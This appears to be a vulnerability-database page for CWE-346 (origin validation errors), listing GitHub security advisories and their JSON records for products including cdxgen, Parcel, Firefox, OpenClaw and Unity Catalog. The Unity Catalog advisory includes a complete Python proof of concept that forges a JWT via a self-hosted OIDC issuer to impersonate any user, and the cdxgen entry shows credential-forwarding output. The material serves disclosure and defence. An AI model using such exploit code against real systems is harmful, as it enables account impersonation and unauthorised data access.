CWE-346
Allowed-with-ReviewOrigin Validation Error
Abstraction: Class · Status: Draft
The product does not properly verify that the source of data or communication is valid.
786 vulnerabilities reference this CWE, most recent first.
GHSA-QG5R-9V52-4MFM
Vulnerability from github – Published: 2023-10-03 09:32 – Updated: 2023-11-02 12:30cashIT! - serving solutions. Devices from "PoS/ Dienstleistung, Entwicklung & Vertrieb GmbH" to 03.A06rks 2023.02.37 are affected by a origin bypass via the host header in an HTTP request. This vulnerability can be triggered by an HTTP endpoint exposed to the network.
{
"affected": [],
"aliases": [
"CVE-2023-3654"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-03T09:15:10Z",
"severity": "CRITICAL"
},
"details": "cashIT! - serving solutions. Devices from \"PoS/ Dienstleistung, Entwicklung \u0026 Vertrieb GmbH\" to 03.A06rks 2023.02.37 are affected by a origin bypass via the host header in an HTTP request.\u00a0This vulnerability can be triggered by an HTTP endpoint exposed to the network.\n",
"id": "GHSA-qg5r-9v52-4mfm",
"modified": "2023-11-02T12:30:16Z",
"published": "2023-10-03T09:32:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3654"
},
{
"type": "WEB",
"url": "https://doi.org/10.35011/ww2q-d522"
},
{
"type": "WEB",
"url": "https://www.cashit.at"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-QG9Q-66VX-29VW
Vulnerability from github – Published: 2023-07-26 18:30 – Updated: 2024-04-04 06:22A missing origin validation in Slate sandbox could be exploited by a malicious user to modify the page's content, which could lead to phishing attacks.
{
"affected": [],
"aliases": [
"CVE-2023-30949"
],
"database_specific": {
"cwe_ids": [
"CWE-1173",
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-26T18:15:11Z",
"severity": "MODERATE"
},
"details": "A missing origin validation in Slate sandbox could be exploited by a malicious user to modify the page\u0027s content, which could lead to phishing attacks.",
"id": "GHSA-qg9q-66vx-29vw",
"modified": "2024-04-04T06:22:06Z",
"published": "2023-07-26T18:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30949"
},
{
"type": "WEB",
"url": "https://palantir.safebase.us/?tcuUid=bbc1772c-e10a-45cc-b89f-48cc1a8b2cfc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QHH4-458H-XWH2
Vulnerability from github – Published: 2026-05-08 20:06 – Updated: 2026-05-08 20:06Docker registry auth substring match forwards credentials to a different registry
Repository
cdxgen/cdxgen
Affected product/package
- Ecosystem: npm
- Package:
@cyclonedx/cdxgen - Reviewed tree version:
12.3.3 - Reviewed commit:
b1e179869fd7c6032c3d483c3f7bd4d7154ec22b - Affected file:
lib/managers/docker.js - Affected from: v9.9.5
The Single Executable Applications (SEA) binaries and container images are also affected.
Weakness
CWE-522 / CWE-346.
Summary
When cdxgen scans or pulls container images through the Docker daemon API, it builds an X-Registry-Auth header from Docker credentials in DOCKER_CONFIG/config.json. The credential selection logic matches configured registry keys with substring checks:
if (forRegistry && !serverAddress.includes(forRegistry)) {
continue;
}
This is not an origin-safe registry comparison. For example, credentials configured for private-registry.example.com are selected for a requested image under registry.example.com, because:
"private-registry.example.com".includes("registry.example.com") === true
The selected credentials are then serialized into X-Registry-Auth for the Docker API pull request targeting the requested registry.
Reproduction
Use the attached/local proof:
node submissions/github-gsa/cdxgen-docker-registry-auth-substring-forwarding/evidence/cdxgen_docker_registry_auth_substring_probe.mjs
The proof is fully local. It creates a temporary Docker config containing credentials for private-registry.example.com, starts a localhost mock Docker API endpoint, sets DOCKER_HOST to that endpoint, then calls cdxgen's exported Docker request path for a pull from registry.example.com.
Observed vulnerable output:
{
"decision": "GO",
"dockerConfigAuthHost": "private-registry.example.com",
"requestedRegistry": "registry.example.com",
"substringMatch": true,
"dockerApiUrl": "/images/create?fromImage=registry.example.com/team/app:latest",
"headerPresent": true,
"decodedHeader": {
"username": "trusted-user",
"password": "trusted-pass",
"serveraddress": "private-registry.example.com"
}
}
Impact
If an operator has Docker credentials for a private registry and uses cdxgen to scan an image from a different registry whose hostname is a substring of that private registry hostname, cdxgen can attach the private registry credentials to the Docker pull request for the different registry.
In a realistic attack, an attacker who controls or can observe the requested registry can induce a victim to scan an image from that registry. The Docker daemon API receives an X-Registry-Auth payload containing credentials for the victim's private registry but associated with the attacker-requested pull. This is a credential forwarding/misbinding issue in cdxgen's container image handling.
References
Functions normalizeRegistryHost and registriesMatch added to normalize and perform strict host matching.
Fix PR: https://github.com/cdxgen/cdxgen/pull/3964
Researcher: Francesco SabiuResearcher: Francesco Sabiu
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@cyclonedx/cdxgen"
},
"ranges": [
{
"events": [
{
"introduced": "9.9.5"
},
{
"fixed": "12.3.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T20:06:00Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Docker registry auth substring match forwards credentials to a different registry\n\n## Repository\n\n`cdxgen/cdxgen`\n\n## Affected product/package\n\n- Ecosystem: npm\n- Package: `@cyclonedx/cdxgen`\n- Reviewed tree version: `12.3.3`\n- Reviewed commit: `b1e179869fd7c6032c3d483c3f7bd4d7154ec22b`\n- Affected file: `lib/managers/docker.js`\n- Affected from: v9.9.5\n\nThe Single Executable Applications (SEA) binaries and container images are also affected.\n\n## Weakness\n\nCWE-522 / CWE-346.\n\n## Summary\n\nWhen cdxgen scans or pulls container images through the Docker daemon API, it builds an `X-Registry-Auth` header from Docker credentials in `DOCKER_CONFIG/config.json`. The credential selection logic matches configured registry keys with substring checks:\n\n```js\nif (forRegistry \u0026\u0026 !serverAddress.includes(forRegistry)) {\n continue;\n}\n```\n\nThis is not an origin-safe registry comparison. For example, credentials configured for `private-registry.example.com` are selected for a requested image under `registry.example.com`, because:\n\n```js\n\"private-registry.example.com\".includes(\"registry.example.com\") === true\n```\n\nThe selected credentials are then serialized into `X-Registry-Auth` for the Docker API pull request targeting the requested registry.\n\n## Reproduction\n\nUse the attached/local proof:\n\n```sh\nnode submissions/github-gsa/cdxgen-docker-registry-auth-substring-forwarding/evidence/cdxgen_docker_registry_auth_substring_probe.mjs\n```\n\nThe proof is fully local. It creates a temporary Docker config containing credentials for `private-registry.example.com`, starts a localhost mock Docker API endpoint, sets `DOCKER_HOST` to that endpoint, then calls cdxgen\u0027s exported Docker request path for a pull from `registry.example.com`.\n\nObserved vulnerable output:\n\n```json\n{\n \"decision\": \"GO\",\n \"dockerConfigAuthHost\": \"private-registry.example.com\",\n \"requestedRegistry\": \"registry.example.com\",\n \"substringMatch\": true,\n \"dockerApiUrl\": \"/images/create?fromImage=registry.example.com/team/app:latest\",\n \"headerPresent\": true,\n \"decodedHeader\": {\n \"username\": \"trusted-user\",\n \"password\": \"trusted-pass\",\n \"serveraddress\": \"private-registry.example.com\"\n }\n}\n```\n\n## Impact\n\nIf an operator has Docker credentials for a private registry and uses cdxgen to scan an image from a different registry whose hostname is a substring of that private registry hostname, cdxgen can attach the private registry credentials to the Docker pull request for the different registry.\n\nIn a realistic attack, an attacker who controls or can observe the requested registry can induce a victim to scan an image from that registry. The Docker daemon API receives an `X-Registry-Auth` payload containing credentials for the victim\u0027s private registry but associated with the attacker-requested pull. This is a credential forwarding/misbinding issue in cdxgen\u0027s container image handling.\n\n\n## References\n\nFunctions `normalizeRegistryHost` and `registriesMatch` added to normalize and perform strict host matching.\n\nFix PR: https://github.com/cdxgen/cdxgen/pull/3964\n\nResearcher: Francesco SabiuResearcher: Francesco Sabiu",
"id": "GHSA-qhh4-458h-xwh2",
"modified": "2026-05-08T20:06:00Z",
"published": "2026-05-08T20:06:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cdxgen/cdxgen/security/advisories/GHSA-qhh4-458h-xwh2"
},
{
"type": "PACKAGE",
"url": "https://github.com/cdxgen/cdxgen"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "@cyclonedx/cdxgen: Docker registry auth substring match forwards credentials to a different registry"
}
GHSA-QJQJ-4CQ6-6F2F
Vulnerability from github – Published: 2024-01-25 18:30 – Updated: 2024-06-10 18:30A remote code execution vulnerability was found in Shim. The Shim boot support trusts attacker-controlled values when parsing an HTTP response. This flaw allows an attacker to craft a specific malicious HTTP request, leading to a completely controlled out-of-bounds write primitive and complete system compromise.
{
"affected": [],
"aliases": [
"CVE-2023-40547"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-346",
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-25T16:15:07Z",
"severity": "HIGH"
},
"details": "A remote code execution vulnerability was found in Shim. The Shim boot support trusts attacker-controlled values when parsing an HTTP response. This flaw allows an attacker to craft a specific malicious HTTP request, leading to a completely controlled out-of-bounds write primitive and complete system compromise.",
"id": "GHSA-qjqj-4cq6-6f2f",
"modified": "2024-06-10T18:30:51Z",
"published": "2024-01-25T18:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40547"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:1834"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:1835"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:1873"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:1876"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:1883"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:1902"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:1903"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:1959"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:2086"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2023-40547"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2234589"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/05/msg00009.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/01/26/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QJWC-RQJC-76PJ
Vulnerability from github – Published: 2024-06-12 18:30 – Updated: 2024-08-07 18:30A problem with a protection mechanism in the Palo Alto Networks Cortex XDR agent on Windows devices allows a local low privileged Windows user to disrupt some functionality of the agent. However, they are not able to disrupt Cortex XDR agent protection mechanisms using this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2024-5905"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-12T17:15:52Z",
"severity": "LOW"
},
"details": "A problem with a protection mechanism in the Palo Alto Networks Cortex XDR agent on Windows devices allows a local low privileged Windows user to disrupt some functionality of the agent. However, they are not able to disrupt Cortex XDR agent protection mechanisms using this vulnerability.",
"id": "GHSA-qjwc-rqjc-76pj",
"modified": "2024-08-07T18:30:38Z",
"published": "2024-06-12T18:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5905"
},
{
"type": "WEB",
"url": "https://security.paloaltonetworks.com/CVE-2024-5905"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:D/RE:M/U:Amber",
"type": "CVSS_V4"
}
]
}
GHSA-QM77-8QJP-4VCM
Vulnerability from github – Published: 2026-05-04 16:52 – Updated: 2026-05-04 16:52Summary
Before OpenClaw 2026.4.2, Slack thread starter and thread-history context fetched through the API was not filtered by the effective sender allowlist. Messages from non-allowlisted senders could still enter the agent context when an allowlisted user replied in the same thread.
Impact
A Slack deployment that relied on sender allowlists could still feed non-allowlisted thread content into the model context through thread history. This was a sender-access-control bypass on Slack thread context, not a direct channel-auth bypass.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
<= 2026.4.1 - Patched versions:
>= 2026.4.2 - Latest published npm version:
2026.4.1
Fix Commit(s)
ac5bc4fb37becc64a2ec314864cca1565e921f2d— filter Slack thread context by the effective allowlist
Release Process Note
The fix is present on main and is staged for OpenClaw 2026.4.2. Publish this advisory after the 2026.4.2 npm release is live.
OpenClaw thanks @AntAISecurityLab for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.4.1"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41358"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T16:52:21Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\nBefore OpenClaw 2026.4.2, Slack thread starter and thread-history context fetched through the API was not filtered by the effective sender allowlist. Messages from non-allowlisted senders could still enter the agent context when an allowlisted user replied in the same thread.\n\n## Impact\n\nA Slack deployment that relied on sender allowlists could still feed non-allowlisted thread content into the model context through thread history. This was a sender-access-control bypass on Slack thread context, not a direct channel-auth bypass.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.4.1`\n- Patched versions: `\u003e= 2026.4.2`\n- Latest published npm version: `2026.4.1`\n\n## Fix Commit(s)\n\n- `ac5bc4fb37becc64a2ec314864cca1565e921f2d` \u2014 filter Slack thread context by the effective allowlist\n\n## Release Process Note\n\nThe fix is present on `main` and is staged for OpenClaw `2026.4.2`. Publish this advisory after the `2026.4.2` npm release is live.\n\nOpenClaw thanks @AntAISecurityLab for reporting.",
"id": "GHSA-qm77-8qjp-4vcm",
"modified": "2026-05-04T16:52:21Z",
"published": "2026-05-04T16:52:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-qm77-8qjp-4vcm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41358"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/ac5bc4fb37becc64a2ec314864cca1565e921f2d"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-sender-allowlist-bypass-via-slack-thread-context"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Slack thread context could include messages from non-allowlisted senders"
}
GHSA-QM9P-F9J5-W83W
Vulnerability from github – Published: 2025-09-17 21:30 – Updated: 2026-04-13 18:49parcel versions 1.6.1 and above have an Origin Validation Error vulnerability. Malicious websites can send XMLHTTPRequests to the application's development server and read the response to steal source code when developers visit them. Version 2.16.4 supports a --no-cors option which disables CORS headers in the dev server.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.16.3"
},
"package": {
"ecosystem": "npm",
"name": "@parcel/reporter-dev-server"
},
"ranges": [
{
"events": [
{
"introduced": "1.6.1"
},
{
"fixed": "2.16.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-56648"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-18T17:15:13Z",
"nvd_published_at": "2025-09-17T19:15:46Z",
"severity": "MODERATE"
},
"details": "parcel versions 1.6.1 and above have an Origin Validation Error vulnerability. Malicious websites can send XMLHTTPRequests to the application\u0027s development server and read the response to steal source code when developers visit them. Version 2.16.4 supports a `--no-cors` option which disables CORS headers in the dev server.",
"id": "GHSA-qm9p-f9j5-w83w",
"modified": "2026-04-13T18:49:40Z",
"published": "2025-09-17T21:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-56648"
},
{
"type": "WEB",
"url": "https://github.com/parcel-bundler/parcel/issues/10216"
},
{
"type": "WEB",
"url": "https://github.com/parcel-bundler/parcel/pull/10138"
},
{
"type": "WEB",
"url": "https://github.com/parcel-bundler/parcel/commit/4bc56e3242a85491c7edf589966e9b44c6330c49"
},
{
"type": "WEB",
"url": "https://github.com/parcel-bundler/parcel/commit/9e2f6f1377123cff3b82f6dde4e20336efc846a1"
},
{
"type": "WEB",
"url": "https://gist.github.com/R4356th/41f468def606b2406e36f7193f5322b8"
},
{
"type": "PACKAGE",
"url": "https://github.com/parcel-bundler/parcel"
},
{
"type": "WEB",
"url": "https://github.com/parcel-bundler/parcel/discussions/10089"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Parcel has an Origin Validation Error vulnerability"
}
GHSA-QMC5-2JH2-RPCW
Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-05-24 19:19Through use of reportValidity() and window.open(), a plain-text validation message could have been overlaid on another origin, leading to possible user confusion and spoofing attacks. This vulnerability affects Firefox < 93, Thunderbird < 91.2, and Firefox ESR < 91.2.
{
"affected": [],
"aliases": [
"CVE-2021-38497"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-03T01:15:00Z",
"severity": "MODERATE"
},
"details": "Through use of reportValidity() and window.open(), a plain-text validation message could have been overlaid on another origin, leading to possible user confusion and spoofing attacks. This vulnerability affects Firefox \u003c 93, Thunderbird \u003c 91.2, and Firefox ESR \u003c 91.2.",
"id": "GHSA-qmc5-2jh2-rpcw",
"modified": "2022-05-24T19:19:36Z",
"published": "2022-05-24T19:19:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38497"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1726621"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2021-43"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2021-45"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2021-47"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QPX7-R6J6-CQF3
Vulnerability from github – Published: 2026-07-14 21:32 – Updated: 2026-07-15 18:31Inappropriate implementation in V8 in Google Chrome prior to 150.0.7871.125 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: High)
{
"affected": [],
"aliases": [
"CVE-2026-15775"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T21:16:43Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in V8 in Google Chrome prior to 150.0.7871.125 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: High)",
"id": "GHSA-qpx7-r6j6-cqf3",
"modified": "2026-07-15T18:31:49Z",
"published": "2026-07-14T21:32:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15775"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/07/stable-channel-update-for-desktop_0353146366.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/531319201"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QQCJ-RGHW-829X
Vulnerability from github – Published: 2026-05-11 17:58 – Updated: 2026-05-11 17:58Context: A critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.
Way to exploit:
An attacker can exploit this by: 1. Hosting their own OIDC-compliant server with a valid JWKS endpoint 2. Signing a JWT with their own private key, setting the iss claim to their server 3. Setting the sub/email claim to any known user in the Unity Catalog system 4. Exchanging this crafted token for a valid internal access token
This results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to.
Additionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used.
Example
Example implementation doing token exchange with a self hosted .well-known/openid-configuration and jwks endpoint.
This can be run with python3 main.py and TARGET_USER, UC_SERVER and PORT adjusted to the testing setup.
#!/usr/bin/env python3
"""Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version"""
import base64, secrets, threading, time
from datetime import datetime, timedelta, timezone
import jwt, requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from flask import Flask, jsonify
TARGET_USER = "user@example.com"
UC_SERVER = "http://localhost:8080"
PORT = 8888
ISSUER = f"http://localhost:{PORT}"
# Generate RSA key pair
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
kid = secrets.token_hex(8)
# Create JWKS
pub = key.public_key().public_numbers()
def b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, "big")).rstrip(b"=").decode()
jwks = {"keys": [{"kty": "RSA", "use": "sig", "alg": "RS256", "kid": kid, "n": b64(pub.n), "e": b64(pub.e)}]}
# Create malicious JWT
token = jwt.encode(
{"iss": ISSUER, "sub": TARGET_USER, "email": TARGET_USER, "aud": "unity-catalog",
"iat": datetime.now(timezone.utc), "exp": datetime.now(timezone.utc) + timedelta(hours=1)},
key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),
algorithm="RS256", headers={"kid": kid}
)
# Start minimal OIDC server
app = Flask(__name__)
app.logger.disabled = True
@app.route("/.well-known/openid-configuration")
def oidc(): return jsonify({"issuer": ISSUER, "jwks_uri": f"{ISSUER}/jwks"})
@app.route("/jwks")
def keys(): return jsonify(jwks)
threading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()
time.sleep(1)
# Exchange token
resp = requests.post(f"{UC_SERVER}/api/1.0/unity-control/auth/tokens",
data={"grant_type": "urn:ietf:params:oauth:grant-type:token-exchange",
"requested_token_type": "urn:ietf:params:oauth:token-type:access_token",
"subject_token_type": "urn:ietf:params:oauth:token-type:id_token",
"subject_token": token})
if resp.status_code == 200:
access_token = resp.json()["access_token"]
print(f"[+] Got access token as '{TARGET_USER}'")
# Demo: list catalogs
catalogs = requests.get(f"{UC_SERVER}/api/2.1/unity-catalog/catalogs",
headers={"Authorization": f"Bearer {access_token}"})
print(catalogs.json())
else:
print(f"[-] Failed: {resp.status_code} {resp.text}")
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.0"
},
"package": {
"ecosystem": "Maven",
"name": "io.unitycatalog:unitycatalog-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27478"
],
"database_specific": {
"cwe_ids": [
"CWE-1390",
"CWE-290",
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T17:58:40Z",
"nvd_published_at": "2026-03-11T20:16:14Z",
"severity": "CRITICAL"
},
"details": "**Context:**\nA critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.\n\n**Way to exploit:**\n\nAn attacker can exploit this by:\n1. Hosting their own OIDC-compliant server with a valid JWKS endpoint\n2. Signing a JWT with their own private key, setting the iss claim to their server\n3. Setting the sub/email claim to any known user in the Unity Catalog system\n4. Exchanging this crafted token for a valid internal access token\n\nThis results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to.\n\nAdditionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used.\n\n**Example**\n\nExample implementation doing token exchange with a self hosted `.well-known/openid-configuration` and `jwks` endpoint.\n\nThis can be run with `python3 main.py` and `TARGET_USER`, `UC_SERVER` and `PORT` adjusted to the testing setup.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version\"\"\"\n\nimport base64, secrets, threading, time\nfrom datetime import datetime, timedelta, timezone\nimport jwt, requests\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom flask import Flask, jsonify\n\nTARGET_USER = \"user@example.com\"\nUC_SERVER = \"http://localhost:8080\"\nPORT = 8888\nISSUER = f\"http://localhost:{PORT}\"\n\n# Generate RSA key pair\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\nkid = secrets.token_hex(8)\n\n# Create JWKS\npub = key.public_key().public_numbers()\ndef b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, \"big\")).rstrip(b\"=\").decode()\njwks = {\"keys\": [{\"kty\": \"RSA\", \"use\": \"sig\", \"alg\": \"RS256\", \"kid\": kid, \"n\": b64(pub.n), \"e\": b64(pub.e)}]}\n\n# Create malicious JWT\ntoken = jwt.encode(\n {\"iss\": ISSUER, \"sub\": TARGET_USER, \"email\": TARGET_USER, \"aud\": \"unity-catalog\",\n \"iat\": datetime.now(timezone.utc), \"exp\": datetime.now(timezone.utc) + timedelta(hours=1)},\n key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),\n algorithm=\"RS256\", headers={\"kid\": kid}\n)\n\n# Start minimal OIDC server\napp = Flask(__name__)\napp.logger.disabled = True\n\n@app.route(\"/.well-known/openid-configuration\")\ndef oidc(): return jsonify({\"issuer\": ISSUER, \"jwks_uri\": f\"{ISSUER}/jwks\"})\n\n@app.route(\"/jwks\")\ndef keys(): return jsonify(jwks)\n\nthreading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()\ntime.sleep(1)\n\n# Exchange token\nresp = requests.post(f\"{UC_SERVER}/api/1.0/unity-control/auth/tokens\",\n data={\"grant_type\": \"urn:ietf:params:oauth:grant-type:token-exchange\",\n \"requested_token_type\": \"urn:ietf:params:oauth:token-type:access_token\",\n \"subject_token_type\": \"urn:ietf:params:oauth:token-type:id_token\",\n \"subject_token\": token})\n\nif resp.status_code == 200:\n access_token = resp.json()[\"access_token\"]\n print(f\"[+] Got access token as \u0027{TARGET_USER}\u0027\")\n # Demo: list catalogs\n catalogs = requests.get(f\"{UC_SERVER}/api/2.1/unity-catalog/catalogs\",\n headers={\"Authorization\": f\"Bearer {access_token}\"})\n print(catalogs.json())\nelse:\n print(f\"[-] Failed: {resp.status_code} {resp.text}\")\n```",
"id": "GHSA-qqcj-rghw-829x",
"modified": "2026-05-11T17:58:40Z",
"published": "2026-05-11T17:58:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/unitycatalog/unitycatalog/security/advisories/GHSA-qqcj-rghw-829x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27478"
},
{
"type": "PACKAGE",
"url": "https://github.com/unitycatalog/unitycatalog"
},
{
"type": "WEB",
"url": "https://github.com/unitycatalog/unitycatalog/releases/tag/v0.4.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Unity Catalog has a JWT Issuer Validation Bypass tht Allows Complete User Impersonation"
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
